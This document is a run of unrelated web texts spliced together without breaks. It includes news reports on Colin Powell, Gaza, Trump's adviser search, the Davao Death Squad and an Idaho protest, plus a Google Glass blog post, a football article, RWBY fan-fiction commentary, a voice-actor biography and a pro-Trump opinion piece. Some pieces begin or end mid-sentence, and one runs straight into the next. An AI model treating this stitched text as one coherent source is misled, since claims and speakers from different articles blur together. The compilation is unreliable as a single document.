Don’t date a man who reads. Because he is a storyteller. Everything through his eyes will look magical. One day he might tell your children The Greatest Story Never Told.Divisive partisanship in Washington is perhaps the worst it has been in four decades, former U.S. Secretary of State Colin Powell told Fareed Zakaria on Global Public Square on Sunday.
“We expect people to come and argue and fight and have different beliefs. That’s what the system is all about. We expect the party out of power to oppose the party in power. That's part of our system,” Powell said. “But at the same time, you have to do it on the basis of comity.”
“And you have to do it on the basis of mutual respect. I may disagree with you, but I’m not out to destroy you. We’ve got to find a way. And yes, I think what I’m seeing now in the last few years is perhaps the worst I've seen in the 40 years I've been hanging around Washington.”
Powell’s comments came in a wide ranging interview taped recently in London and broadcast this weekend. Powell, former Chairman of the Joint Chiefs of Staff, also discussed Mitt Romney’s recent trip to Europe, Iran’s nuclear program and the continuing violence in Syria.
“I think there’s a civil war that’s taking place, and I think anybody who thought that President Assad would simply say, ‘oh, gee, I'm going to stand down,’ I don't think had a good understanding of what Syria was like or what the Alawite clan is like,” he told Zakaria.
Asked whether the U.S. should get more deeply involved in Syria, Powell argued that it’s important first to define exactly what “getting involved” actually means, including over the question of no-fly zones.
“A no-fly zone means you have to have constant caps over the area to make sure nobody’s flying. You need radar to detect them,” he said. “It’s something that’s doable, but it’s not a simple matter.”
“But if it doesn’t work, then what do you do? Do you take it up to the next level? Well, let’s put a few forward air controllers on the ground. And so my only suggestion is if you are thinking of military – use of military forces to help get rid of al-Assad – think it through carefully, and don’t just grab slogans and run with it.”
Powell wouldn’t be drawn on whether he would repeat his 2008 endorsement of Barack Obama, saying only that he wanted to see the “whole picture” before reaching a decision. But he did weigh in with his take on Obama’s foreign policy performance so far.
“I think he’s done rather well, in fact. I mean, we are out of Iraq, which is a timetable that President Bush had established, and I think we are slowly turning over in Afghanistan in a sensible way,” Powell said. “Sooner or later, the two countries, the two peoples – the Afghanistan population and the Iraqi population – have to take responsibility for their own destiny and their own future. So I think he's handled that well. He hasn’t gotten us in any new conflicts.”
“I think he has been vicious on terrorists with drone attacks, getting rid of Bin Laden, and things like that. I think he’s protected the country rather well,” Powell added.Photo: Michael Jarrott
I haven’t used Glass in a month
Or: How Google still wins by getting it wrong
Alec Molloy Blocked Unblock Follow Following Oct 7, 2013
“… No, Google is good at knowing what technology wants.”
I was sitting at a dinner table in the city a few weeks ago discussing Google, when my friend Edward made that statement.
For the last few months I’d been fascinated with Google’s latest efforts in natural-language interfaces; enough that I was almost ready to jump ship to Android to try them out. Apple’s high design has always held sway over me, but I felt they had been lagging behind on the information services front. Siri and iCloud left a lot to be desired—especially for users with most of their digital identity locked away on Google’s servers. I had my eye on an HTC One for a while, but hadn’t pulled the trigger yet for reasons that Edward’s comment finally made me realise.
My anxiety started with a Nexus 7. I bought it in February to test the waters before switching phones, and develop on. As a slave to Apple products for the last few years, I had been spoiled by a very human approach to devices. And though the Nexus 7 matched up to Apple’s counterpart on paper, the experience was in no way comparable. I played around with it for a while, but now it only gets attention when I need to do device testing.
I was disappointed, but I wasn’t sure why. All of Google’s pitches for it had made sense. The lower cost and tighter integration with their services made it seem like a no brainer. But that didn’t matter; I couldn’t stand using it.
A few months later… Glass
Ever since their first teaser video two years ago I had been obsessed with the idea of Glass, Google’s first foray into wearable computing. So when they announced the application to beta test I immediately applied, and a month later I received a message from Google informing me I had been accepted.
After committing to purchasing I was practically frothing at the mouth, waiting for my fitting day. All my free time was spent prototyping applications, and I brought the device up in conversation constantly (thanks to all my friends for putting up with me all those months).The Pope’s enigmatic words on resignation
By Phil Lawler (bio - articles - email) | May 31, 2017
In his homily at Mass on Wednesday morning, commenting on St. Paul’s farewell to the Church at Ephesus, Pope Francis said:
A shepherd must be ready to step down completely from his church, rather than leave in a partial manner….
All shepherds have to step down. There comes a moment where the Lord says ‘go to another place, come here, go there, come to me.’ And it’s one of the steps that a shepherd must take; be prepared to step down in the correct way, not still hanging on to his position. The shepherd who doesn’t learn how to do this because he still has some links with his sheep that are not good, links that are not purified by the Cross of Jesus.
The homily as a whole focused on the role of a bishop, with the Pope insisting that a bishop must recognize that he is not “the center of history,” but a servant of his people and their Lord. Still those words about stepping down—and the emphasis on stepping down completely—caught the attention of many Vatican-watchers. Was Pope Francis speaking in general terms about the proper duties of bishops and pastors? Or did he have something more specific in mind?
If the latter, was he hinting that he might be considering resignation?
Or was he sending an oblique message to Benedict XVI, who seemed to be breaking his silence last week?
I don’t have the answers. But I am not alone in raising the questions.
Phil Lawler has been a Catholic journalist for more than 30 years. He has edited several Catholic magazines and written eight books. Founder of Catholic World News, he is the news director and lead analyst at CatholicCulture.org. See full bio.An extended delay in credit card transaction processing left a Patron of Cyn Nightclub in Fort Lauderdale Florida facing grand theft charges. Trusted third party Wells Fargo which issued the card approved an $80 charge for drinks earlier in the night, but failed to approve $600 in charges later in the night. A second card from trusted third party also failed to approve the later charges. $1000 in bail was successfully paid by one of the card issuers to the Broward County Jail.
Credit cards are a notoriously fraud prone payment method which depends on centralized, trusted third party issuers to approve transactions submitted by merchants. Recent large breeches of credit card information have left the issuers struggling to implement additional measures to verify the legitimacy of transactions. This is a challenge as all that is required to process a transaction to a card is a fixed set of information, and the failure on the part of two separate issuers in this case lead to a man facing charges that could have been avoided had he and the club Cyn transacted with a more reliable method of payment.
In a statement to NBC the victim's lawyer said, “I think we are all used to getting those emails from credit card companies saying, ‘Hey, did you authorize this charge? Now, we have to worry about getting arrested for using our own credit card.”GLENDALE, Ariz. -- There are things Tyrann Mathieu doesn't like to share publicly.
But the Arizona Cardinals safety opened up Wednesday, revealing one of the reasons why 2016 was so difficult for him.
"I didn't really like playing free safety," Mathieu said. "I didn't like being in the middle of the field. I feel like I came into camp and I'm really playing free safety like a free safety, so I'm getting better each and every day."
Coming off his second ACL injury in three years, suffered at the end of the 2015 season, Mathieu began the 2016 season as a free safety with limitations: He wasn't allowed to play in the box. That meant no blitzing, no man-to-man coverage, no playing the run. He was contained to playing center field.
Football got boring for him pretty quickly.
A season of playing center field didn't feel right to Tyrann Mathieu, who said, "I just like being in the mix of things." AP Photo/Matt York
"It's like everything is going on in front of you," Mathieu said. "I just like being in the mix of things. I had to challenge myself just to try to raise my game."
Mathieu spent this offseason putting in the time needed to prefect his craft as a free safety. He hadn't practiced at the position before last season. He hadn't worked at it.
He didn't take pride in it, he said.
Mathieu reported to training camp this year healthy and ready to play without restraints.
"I've challenged myself to really play the position and understand the position, and I feel like I'm getting better doing it," he said.
Mathieu feels like he's continuing to return to his old self, which means the Honey Badger of 2015, when he was in the conversation for defensive player of the year. Mathieu said he hasn't felt this good since then.
But he's not lamenting the time between then and now.
"It's life," he said. “I take the good; I take the bad. I don't outweigh them. I just try to balance it all. At the end of the day, it's life. I don't worry about it much."
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Mathieu's confidence is growing. His swagger is returning. Saturday’s preseason game will be another opportunity for him to get back into the groove. But Mathieu isn't sure how much preseason action he needs to get ready for the season.
"Anytime you get out there for eight or nine plays, it doesn't really do anything for you," Mathieu said. "I'm pretty sure we'll probably get the same number of reps this weekend, and hopefully when we go to Atlanta [on Aug. 26], we'll get a lot more."
Mathieu's plan at the start of camp was to take everything slow. It was going to be a long training camp. He knew he needed to pace himself, both on the field and off. There are outside expectations that Mathieu has tried to live up to, he said.
"I just try to quiet all that noise," he said.
But he also knows the way -- maybe the only way -- he can prove himself is by staying on the field. Then he can prove how good he can be this season.
"Well, we'll have to see," coach Bruce Arians said. "We'll have to see it in games. It's one thing in practice, it's another thing in games, the opportunities that he creates for himself.
"He should be back to the player he was."...
Cerise:
"Hello! Uh... Hello, is this thing on? Oh, good. Okay, hello, this is Cerise here. Hi reader. That's right, breaking that fourth wall. This interlude, Interlude II, is all about Developer Commentary! I'm here to speak all about the various motifs and fun facts about this series. The author, Dekk, was supposed to do it, but he's a lazy ass, so oh well. We'll have fun, so just sit back, relax, and read!" I explained, speaking into the recording microphone.
"Okay, first off, let's go with Motifs. The main four (i.e Ava, me, Kana, and Onyx) are technically the only ones with full blown motifs. The rest just have references or historical figures. Lazy, I know." I said with a sigh, glancing around the recording studio.
"First up, let's start with Ava. Considering both her parents (RIP best goddess Pyrrha) have historical motifs, she does too. And, boy is it obvious. With a sword named Excalibur and the name 'Avalon', she can only be one person. A genderbent (like her parents) King Arthur! Speaking of Excalibur, quick fun fact. Her sword is actually just a rehash of Bone Crusher from Dekk's other fic, Night of the Grimm (self plug not purposeful). What can I say? The author liked the sword." I said with a sigh, leaning back in my leather chair.
"But yeah, King Arthur. Avalon being some island or something in the story, hell if I know. We don't have that legend in Remnant. I can say Excalibur is his sword. I think. Actually, a certain reader made the joke that Ava is green eyed (Pyrrha's eyes), blonde (Jaune's hair), and a genderbent King Arthur? Seems a lot like Fate Stay/Night's Saber to me. The author promises it's like 90% accidental, though is happy because Saber is Best Girl." I said with a pause.
"Just kidding, Saber is second Best Girl. Sakura is where its at, with that purple hair. Ooh! Speaking of Sakura, let's move on to Kana. Did you know Kana's original name was supposed to be Sakura? It fit better with the naming rule. (Speaking of which, does Avalon even fit that rule?) But yeah, her name was supposed to be Sakura. Dekk felt it was overused and cliche, though, and that Kana fit her appearance better. He also felt it was distracting from the last name 'Lie', which he wanted to put emphasis on considering a Lie is a deceit." I said, freezing.
"Oh god dammit Dekk. I just realized. Ren's full name is Lie Ren. Which means, because he's asian, Ren is the family name, not Lie. Isn't that just an error? Like... you totally fucked up and just rolled with it, didn't you?" I yelled down the hall.
"No..." Came a small voice from down the hall.
"Anyways, Kana's motif. She wields the Lance of Longinus, the spear that was said to pierce Jesus. While she is specifically Judas, the person who I think betrayed Jesus or something, she technically was meant to represent religion as a whole for her motif. Providence and the Grimm also play into this, Providence containing a ton of religious terms. This wasn't meant to really make commentary on religion or anything, Kana's motif. The only real reason it's Jesus' story out of anyone is the Lance of Longinus, which was used in Neon Genesis Evangelion. Dekk's a huge fan of NGE, and especially the lance. 'It just looks so fucking cool', in his words. He actually has a necklace that he got on etsy that's supposed to be NGE's lance of longinus. He really loves Evangelion, if you couldn't tell. In fact, he's such a giant fan, that during april fools day, he took over the RWBY subreddit as the leader of NERV. Seriously, he wanted everyone to become 'One Curay' (Don't ask), much like the Human instrumentality Project from NGE. In fact, that idea of the subreddit becoming one person was the inspiration for Providence and his whole 'Got to eat the world' thing."
"Next up is Onyx. His motif is technically a legend and a fairy tale. He was meant to be a Chimera, considering he was cat ears, he's called an Ox, and has his weapon which references a bear. His weapon, Orso Cilica, was derived from 'Orso', which is a bear spirit. Considering he was the leader of the Black Fang, which is a Faunus group, he was meant to be all of the animals. Dekk had the movie 'Brother Bear' in mind, where a man is turned into a bear. He actually is based on the fairy tale 'The Bear', as referenced by his Semblance and his weapon. In it, the daughter of the King would use a Bearskin to disguise herself as a bear (sound like his semblance, where he goes vanishes? Its mostly used to dodge an attack, but it could be used as a disguise/stealth.) Hilariously, the scottish tale shares many parallels with Cinderella, but the prince (Jupiter? hehehe) wasn't very nice at first. "
"Now onto me! Cerise! I technically have two motifs. One is a fairy tale as per tradition, the other isn't as nice. My motif is 'The Angel' by Hans Anderson. In it, a child dies, and an angel escorts him to heaven. They wander over the earth for a while, visiting well-known places. Along the way they gather flowers to transplant into the gardens of Heaven. The angel takes the child to a poverty-stricken area where a dead field lily lies in a trash heap. The angel salvages the flower explaining that it had cheered a crippled boy before he died. The angel then reveals he was the boy. And the boy continued his journey. Or at least, that's Wikipedia's summary. In it, Fluffy is actually the angel, rolling with the Grimm having religious symbolism. Fluffy is written to have some sense of humor, much like me, Cerise. Realistically, Dekk treats them as the same character, much like in the fairy tale. The other thing I'm based on is Death! Yay... Nothing much to say, I wield a scythe. Death is occasionally called 'The Pale Rider', and well, one of my middle names is Pale, and I've rode Grimm, so I'm a Rider."
"The rest just contain some historical- well, more myth references. For example, Jupiter is obviously Jupiter/Zeus, god of thunder and lightning and all that fun. Icarus is Icarus, the dude in the labyrinth with the wax wings and all that. Makes sense, since she has wings. Press keeps up the coffee references since her full name is Espresso. Ozpin Jr took Dekk a lot of time to come up with, since it's such an original name. Laza is Lazarus, that one dude who came back from the dead or something. No, not Jesus, the other one. Rass, while it's true his original name is Brass, is also referencing RASputin, the'silver tongued devil' of a man that seduced the Russian Tsar's wife. Which was suppose to represent his character. Prome's full name is Prometheus, the god that stole greek god's fire, and had his stomach torn out for all of eternity. Or something like that. Oh, and Eve, Adam's daughter, got her name from Adam and Eve, like in the bible.
Oh! We can't forget Drei's name. Zwei is actually a reference, meaning Drei is a reference to a reference. Zwei (German for 2), is referencing the corgi, Einz (German for 1) of the show, Cowboy Bebop. Which means Drei (German for 3), is referencing a reference. Refereception. By the way, Drei is alive and well after the attack on Beacon."
"Some of the villains have motifs, if you paid attention during the trailers. During each trailer, the phrase 'He who is _, he who _' occurs. It referenced each of the four horsemen. Rass was War, ironically, considering he changed his name to not associate with war. Penny was Pestilence, or sickness, considering she was infected with a virus. You could apply the sickness motif to Prome as well. Providence is Death, and the Grimm are Hunger (wanting to munch on humans)."
"Let's talk about some random things. The author, Dekk, actually wanted to put in the son of Raven, who would have had his own subarc. The only thing is, we know like nothing about Raven currently, so there was next to nothing Dekk could do about him but keep him mysterious. Plus these volumes are turning out to be 10 chapters a pop, so that doesn't leave any spare time."
"Another random thing, Auburn was mentioned early in the series purposely. This, along with his ironic name (He's named Auburn, but has black hair) was a foreshadowing of his comedic character. There's a ton of foreshadowing in the series, but unfortunately, we don't have time to cover it all. Plus, it would spoil a lot of the events coming up in Volume 3! That's no fun!" I said, leaning back and grabbing my script. I squinted my eyes, reading off the next paragraph.
"The idea to have Kana and Onyx, and Ava and Cerise on two separate teams came relatively last minute, during the writing of chapter 2. Originally, they were supposed to be on one team, team OACK (like an oak tree), with Onyx as the leader. Dekk felt that was boring and overdone, having your OCs all on the same team, so he changed it."
"Er... ah, here's my spot. This entire fic changed based on the RWBY subreddit's pole. Dekk made a shipping pole, that shipped every character with another by vote. Originally, Dekk had the fic planned to have only straight ships (not because he hates non-straight people or anything, but because biologically it was simple). Cerise was originally the product of Lancaster, meaning his mother was Ruby and his father was Jaune. Weiss likely would have gotten with Neptune, Blake either getting with Adam or Sun. Yang probably wouldn't of had kids, but Ren and Nora would have ended together. Except the RWBY subreddit changed that all up with lesbian pairs, then expecting them to have kids. It took Dekk a lot of research to find out how the hell that would even work, making kids with two of the same gender. Lots of explaining of search history occurred."
"Now... hmm... let's talk about errors. Physics errors. There are actually only two major physics errors that Dekk found, one of them is fine, though. There's actually three, but one's more of a rule of cool thing. First off, I, Cerise, made a mistake. In my semblance, I only use the directions 'x' and 'y'. Yet, I operate in the third dimension, I need 'x', 'y', and 'z'. But whatever.
Next up is when I used my semblance to'stop all the atoms in my body' to 'absorb Jupiter's electricity'. Yeah, that fight. The one on the walls, sideways? Stopping the vibration in my atoms wouldn't do anything to stop the electricity. Not only that, but I had two feet on the ground, which means I'm grounded. That electricity wouldn't do anything." I said with a sigh.
"Finally is a cooler one, Auburn's laser hammer. Its actually completely possible. Using sand and gravity to create a fusion laser. The only flaw is.. is would destroy like all of Remnant... Considering heating a tip of a pin to that temperature would destroy all of the UK, I think Remnant is a burning pile of rubble... But... Y'know, Rule of Cool and all that."
"Okay, let's end on that note. Lasers are a cool place to leave off, right? Well, let me ask you, the audience something now. If you have any questions still unanswered (since they should mostly be answered by now), or any comments, or just want to say hi, please leave it in your review! It's always super helpful. Dekk needs to make sure no plot hole goes unfilled! If you spot anything, or have any questions, please let us know! That's it! This is goodbye from Cerise Pale Hunter Rose!"An Israeli artillery fires a 155mm shell towards targets in the Gaza Strip from their position near Israel's border with the Palestinian enclave on August 2, 2014.
It wasn't easy to convince our local guide to take us to Rafah where the fighting has been most intense since the short-lived ceasefire.Only when we were finally on the road to Rafah that we understood her reluctance. Ghost towns and a long empty road which had seen heavy bombardment from the east lay ahead.Our destination was the European Hospital where the injured and the dead from this morning's attack on a UNRWA school in Rafah were pouring in.We found Ashraf Kashef, a young man fighting for his life. The harried doctor who had spent his morning stabilising other victims explained that his lungs were full of blood and had a hole on the chest due to the severe blast.Children, women, elderly - the carnage at Rafah had spared no one and mutilated many. The hospital press officer showed us the mortuary (incidentally down the corridor from the canteen) which was full and grimly added that new bodies would have to be accommodated on the ground.Gaza today did not even have room for its dead.President Donald Trump is considering three former high-ranking military officials for the post of national security adviser, after the Monday resignation of Michael Flynn.
Flynn stepped down after reports indicated he misled Vice President Mike Pence on his discussions during the presidential transition with Russian Ambassador to the U.S. Sergey Kislyak.
Trump is considering retired Lt. Gen. Keith Kellogg, retired Gen. David Petraeus, and retired Adm. Robert Harward to replace Flynn. Harward is reportedly the favorite to succeed Flynn. He served as a deputy to then-Gen. James Mattis while both were in U.S. Central Command and does not carry the controversy or age of the other picks.
“There are a handful of good options, but it’s clear he’s at the top of the list,” a senior administration official told Politico Tuesday.
Both Kellogg and Petraeus served critical roles in the U.S. war in Iraq. Kellogg served as a major figure in the 2004 Coalition Provisional Authority, which served as the government of Iraq until the nationwide elections in 2005. He is currently serving as the interim national security adviser to Trump, served as one of Flynn’s deputies in the White House, and is currently 72 years old. Kellogg was also one of the early backers of the Trump campaign, and served as a foreign policy adviser early on.
Petraeus’ path to the post is fraught with complications given his current probation for lying to federal authorities about illegally disclosing classified information to his mistress. Trump has, however, previously spoken highly of Petraeus and considered him for the post of secretary of state during the presidential transition.
“Five years ago, I made a serious mistake,” Petraeus told reporters in December after his meeting with Trump. He continued, “I acknowledged it. I apologized for it. I paid a very heavy price for it and I’ve learned form it.”
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected].Appearing on the HBO schedule for the first time is a 22 minute Game of Thrones feature, entitled “You Win or You Die”, that is set to air on March 25th at 8:30 PM ET. Here is HBO’s official description of this feature:
Get in the Game! Enter the world of Westeros with this vivid and illuminating special about the epic HBO drama series ‘Game of Thrones.’ Highlighted by behind-the-scenes footage, clips, and interviews, this feature revisits the events of Season 1, introduces new viewers to the many colorful characters, and presents an exclusive preview of things to come in Season 2 (beginning April 1 on HBO).
Winter Is Coming: Maybe this is what became of “Echoes of the Past”? Maybe it was rolled into this new, longer video? Either way, it sounds like we should get a good look at season two in this one. Of course, by then, we will only be days away from the season actually premiering!
[Thanks to Chris for the tip!]Cameron Arthur Clarke (born November 6, 1957) is an American voice actor and singer, known for his voice work in animation, video games and commercials. He is best known for providing the voices of Leonardo and Rocksteady in the original Teenage Mutant Ninja Turtles animated series and Shotaro Kaneda in the 1989 original Streamline Pictures English dub of Akira. He often voices teenagers and other similarly young characters. One of his prominent roles in video games was voicing Liquid Snake in the Metal Gear series.
Career [ edit ]
Clarke began his acting career in the show The Hollywood Palace as The King Family Show. He continued to perform with his family on various TV specials until the 1980s when he got his first voice acting roles in the animated shows Snorks and Robotech. Clarke was taught by established voice actor Michael Bell. Clarke is best known for his roles as Kaneda in Katsuhiro Otomo's Akira (Streamline-dub), Max Sterling and Lancer in the 1985 Robotech series, Rigadon in Around the World with Willy Fog, Dogtanian in Dogtanian and the Three Muskehounds, Leonardo and Rocksteady in the first Teenage Mutant Ninja Turtles animated series, Wolfgang Mozart in the Jem episode Journey Through Time and Liquid Snake in the popular Metal Gear Solid series of video games. Clarke is also the voice of Prince Adam and He-Man in the 2002 version of He-Man and the Masters of the Universe TV series. He is also known to RPG fans as Ryudo in Grandia II, Kratos Aurion in Tales of Symphonia and Will Raynard in Tales of Legendia. He voices the male Blood Elf in World of Warcraft: The Burning Crusade. He uses a voice similar to Liquid Snake's for this portrayal. To date, Clarke has voiced over one hundred titles. Cam is easily recognizable by his distinct voice which can fluctuate from adolescent sounding (Leonardo) to deep and soothing (Kratos) and to a faux British (Liquid Snake). He also acts as Pavel in the popular Neverwinter Nights PC release.
Personal life [ edit ]
Clarke was born in 1957 in Burbank, California, to actor Robert Clarke and singer Alyce King. He is nephew to guitarist Alvino Rey and pianist Buddy Cole, cousin to actress Tina Cole and writer Chris Conkling, half brother to musicians Ric and Lex de Azevedo, and uncle to voice actress Emilie Brown and actress Rachel Coleman.
He is openly gay.[2] His experiences inspired his album Inside Out, which changed pronouns in lyrics of classic songs,[3][4] and his one-man autobiographical play Stop Me If I Told You This.[5][6]
Filmography [ edit ]
Animation [ edit ]
Dubbing in anime [ edit ]
Films [ edit ]
Feature films [ edit ]
Direct-to-video and television films [ edit ]
Video games [ edit ]
Live action [ edit ]
Audiobooks [ edit ]
The Mystery of Smuggler's Cove (1985) Hardy Boys
Theater [ edit ]
Noah: The Musical – Citizen of Land of Nod
– Citizen of Land of Nod Stop Me If I Told You This – Himself
Other [ edit ]
The Dark Crystal – Jen (read-along cassette story recording)
– Jen (read-along cassette story recording) "The World of Snoopy" – Snoopy (Animatronic toy and read-along cassette series)
Staff work [ edit ]
Christmas with the King Family – Consulting Producer
– Consulting Producer Labyrinth of Crete – Casting Director
– Casting Director LEGO Batman: The Movie – DC Super Heroes Unite – Casting and Voice Director
– Casting and Voice Director Lego Batman 2: DC Super Heroes – Voice Director
– Voice Director Rachel & the TreeSchoolers – Character Voice Casting Director
Discography [ edit ]SPO3 Arthur Lacanas answers questions during a press conference regarding his and President Duterte's alleged involvement in the Davao Death Squad, held at the Senate in Pasay City on Monday. Voltaire Domingo, NPPA
MANILA - A retired cop who was earlier tagged by a Senate resource person as the team leader of the Davao Death Squad admitted Monday the existence of the group, saying former mayor and now President Rodrigo Duterte ordered the killings.
SPO3 Arthur Lascañas said he was paid P20,00 to P100,000 for every killing carried out by the group.
"Kadalasan P20,000, minsan P50,000 depende sa status ng target...P 100,000," he said.
"Ito po ang umpisa, sa lahat ng ginagawa naming pagpatay sa Davao City, ilibing man o itapon sa laot, ito po ay binabayaran kami ni Mayor Rody Duterte," he said.
FLAG presents SPO3 Arturo Lascanas who is supposed to be in the DDS "inner circle" pic.twitter.com/tlSrWVe2Wl — Adrian Ayalin (@adrianayalin) February 20, 2017
Lascañas's new claims were contrary to his statements at a Senate hearing in October, where he said DDS was only hyped up by the media.
Self-confessed hitman Edgar Matobato had tagged Lascañas, who then denied the existence of the death squad and called Matobato a liar.
Matobato earlier described Lascañas as Duterte’s “right-hand man,” and that he was Lascañas' closest aide.
ROOTS OF 'DAVAO DEATH SQUAD'
He said the group got its name after a drug raid in the house of a certain Allan Tancho where they killed Tancho's maid.
He said the DDS left a note that said: "Wag pamarisan - Davao Death Squad."
Lascañas also claimed Duterte ordered the bombing of a mosque in Camamara Wa-An Davao City.
Lascanas said he was also involved in the bombing of Camamara mosque after the bombing of Davao cathedral — Adrian Ayalin (@adrianayalin) February 20, 2017
Lascañas also accused Duterte of hiring people to kill Jun Pala, a Davao journalist widely known for his work on exposing corruption of local politicians.
"Isa po ako a gi-hire ni Mayor through SPO4 Sonny Buenaventura, yung kanyang trusted aide and driver, gi-hire ako ni Sonny na halaga na P3-million," he said.
"Dahil sabi ni Sonny galit na galit si Mayor Rody kay Jun Pala dahil sa palagi nitong atake araw-araw sa radio," he adeded.
Lascañas said he told a SPO1 Jim Tan, who he claims has a lot of "players" or hitmen for hire, about Buenaventura's offer was P2-million, and Tan agreed, giving them P500,000 as "operational fund."
"Sa madaling sabi po, kami ang nag-plano para i-assassinate si Jun Poras Pala. Gumawa kami ng pag-ambush kay Jun Pala two times. Two times din siyang nakaligtas," he said.
This then was when Tan used his "players."
After a few months, Lascañas said, they lied low and then he met with Duterte in one time, where the chief executive said he should take time in neutralizing the journalist.
"May isa pong mall sa Davao na nag-kape ako, at doon po sa third floor, nakita ko si Mayor na naglalakad, walang security. Nilapitan ko siya, at ang bulong niya sa akin, sa bisaya: [Kamusta ang] pag-ambush niyo kay Jun Pala?," he said.
"Ang sabi ko sa kaniya I’m sorry sir. Ang sagot niya sa akin, take time; ayaw pagdali," he added.
Lascañas also said because of his "blind loyalty and obedience" to Duterte, he was instrumental in the killing of his brothers who were involved in drugs.
"Dito po nakagawa ako ng lethal judgment call that led to the untimely death of my two brothers. Sila po ay involved sa illegal drugs," he said.
"Napakasakit ng ginawa kong desisyon. Wala pong nakaka-alam nito kundi ako
|
were sky high. The United States was just beginning to get deeply involved in the Vietnam War — but had not yet sent in troops. People generally believed in and trusted LBJ.
Goldwater, by contrast, was considered an extreme conservative, much like Ted Cruz. Unlike Trump, he made no serious attempt to appeal to moderates. He opposed social programs and wanted to abolish Social Security. He favored a dramatic escalation of the Vietnam War. His VP even recommended “bombing the Vietnamese back to the Stone Age.”
Goldwater never had a serious shot at the nomination, and LBJ beat him in a huge landslide.
It’s true that Trump has promised to “bomb the [crap] out of Isis.” He’s also refused to take the nuclear option off the table. It’s these stances that have allowed Clinton to suggest that Trump might somehow resemble Goldwater.
But it’s a red herring. Not taking the nuclear option off the table is simply prudent foreign policy. It doesn’t suggest a willingness to use nuclear weapons. Both parties traditionally say no option is off the table. It’s the way we leverage our strength in foreign policy. Clinton knows this, and wouldn’t take the nuclear option off the table, either.
In fact, Clinton has already proven herself to be the far more bellicose candidate. She supported the Iraq war and pushed Obama into the Libya invasion. Trump opposed both interventions. She favors an unqualified embrace of Israel, which has its own ambitions in the Middle East. Trump calls for greater “balance” in our relations with the Middle East.
More broadly, Trump is advocating an “America First” strategy that scales back U.S. interventionism. Clinton is a proponent of a liberal version of neoconservatism, which says the U.S. must police the world and support the overthrow of unsavory regimes. For example, it must support a provocative “no-fly” strategy to isolate and defeat Assad in Syria, possibly provoking a wider war with Russia.
Of course, these are precisely the kinds of policies that get American into trouble, leading to costly ground troop invasions and massive deaths and casualties to troops and civilians alike.
Clinton is no Goldwater, of course, but the point is, neither is Trump — far from it. Of the two, Clinton is advocating a far more activist and adventurist and inherently risky foreign policy. Voters should well ask themselves who, of the two, is more dangerous and reckless.
Goldwater never would have supported Trump’s restrained approach to the use of American military power. He was perfectly willing to escalate the Vietnam War, even if it meant using nuclear weapons — a position that even LBJ later considered, as the war continued to escalate.
Clinton won’t advocate using nuclear weapons but by coddling regimes like Iran that seek nuclear capabilities couldn’t it one day come to that? Do we really want her hand on the nuclear button?
For the time being, Clinton may well get away with her depiction of Trump as a dangerously unstable leader. The so-called “security Moms” that tilted toward George W. Bush in 2004, because they felt he would keep them safer in a hostile world, could start to wonder about Trump. That’s what the former Secretary of State is counting on – especially with disaffected women.
But once the two candidates get to the debates and are pressed to defend their actual positions and records, it will be hard to for Clinton to stigmatize Trump as an out-of-control “mad bomber.”
More likely, sensible voters – women and men alike — will wonder what foreign or defense policy success Clinton can point to anywhere in the globe to justify installing her in the White House as Commander-in-Chief.Discover one hundred fun activities and tips to help children become enthusiastic readers, in this brand-new guide from I Can Read!
These tips cover the essentials of learning to read—from making the connection between letters and sounds to understanding key plot points. Specifically designed to engage children and reinforce the Common Core Standards for Reading, I Can Read: 100 Tips for Beginning Readers shows how to make reading a positive, joyful experience for parents, teachers, and children.
Widely recognized as the premier line of beginning readers, I Can Read! books are organized into color-coded levels. With hundreds of titles featuring award-winning authors and illustrators and beloved character friends such as Pete the Cat, Fancy Nancy, Amelia Bedelia, Biscuit, Splat the Cat, the Berenstain Bears, Little Critter, Superman, Frog and Toad, and more, you're sure to find books at every stage and level to engage and excite your child.Shortly before the Senate adjourned tonight, Senate Majority Leader Bart Davis, R-Idaho Falls, cautioned senators to secure their office areas before leaving, saying an individual was found hiding in a closet in the Senate lounge, which is the room directly behind the Senate chamber, where there are a few couches and some snacks and cookies are laid out.
It turned out the individual was former Sen. Nicole LeFavour, D-Boise, who has been arrested a half-dozen times this session in protests at the state Capitol pressing to “Add the Words,” the catch-phrase for amending Idaho’s Human Rights Act to add the words “sexual orientation” and “gender identity” to the act’s anti-discrimination provisions. “Closets are never safe for gay or transgender people,” LeFavour told Eye on Boise, acknowledging that it was her. You can read my full story here at spokesman.com.
LeFavour, who was Idaho’s first openly gay state lawmaker and served four terms before leaving the Senate to run for Congress in 2012, said she had been in the closet for between five and six hours. “It’s a very large closet,” she said. “There are lots of people in closets out there, and they’re not comfortable.” Instead, she said, they’re “scary.”
Davis said the Senate was at ease when LeFavour was discovered, while staffers were looking for some items in the closet that belong to the Senate’s secretary. “I have no idea how long she was there,” he said. “She was asked to leave.” Senate President Pro-Tem Brent Hill, R-Rexburg, was the one who asked LeFavour to leave. “It seemed to me that there was some initial reluctance, but there was compliance,” Davis said.
LeFavour, who has led “Add the Words” demonstrations throughout the legislative session in which people stand with their hands over their mouths, signifying that they haven’t been heard – because the change to the law hasn’t gotten a hearing – said, “The lives of gay and transgender people do matter to thousands of us, and every time one of us is standing hand over mouth somewhere, it is a message of love to somebody else who is scared, somewhere in Idaho.”Adam Schiff's focus was on Trump's allegations as being beneath the dignity of his office. | Getty House Intel leaders split on Trump wiretap allegations
The leaders of the House intelligence panel issued emphatically different statements Sunday on President Donald Trump's allegations Saturday that President Barack Obama had wiretapped his presidential campaign.
Republican Devin Nunes (R-Calif.) said the House Permanent Select Committee would look into Trump's assertions as part of its larger investigation into Russian interference in the election process.
Story Continued Below
"One of the focus points of the House Intelligence Committee's investigation is the U.S. government's response to actions taken by Russian intelligence agents during the presidential campaign," Nunes said in a statement. "As such, the Committee will make inquiries into whether the government was conducting surveillance activities on any political party’s campaign officials or surrogates, and we will continue to investigate this issue if the evidence warrants it.”
Nunes' statement followed one by fellow California Rep. Adam Schiff, the ranking Democrat on the panel.
Schiff's focus was on Trump's allegations as being beneath the dignity of his office. Trump's allegations were offered Saturday via Twitter without attribution or elaboration; the president accused his predecessor of "McCarthyism" and said the scandal was equivalent to "Nixon/Watergate."
"Today, it became all the more clear that President Trump's claim that he was illegally wire-tapped by President Obama was based on little more than Breitbart or other conspiracy-based news," Schiff said in his statement.
"For a President of the United States to make such an incendiary charge — and one that discredits our democracy in the eyes of the world — is as destructive as it was baseless," he added.
Schiff also circled back to his concerns that FBI Director James Comey was not being forthright with the House investigation about Russian interference in the 2016 elections or other related matters.
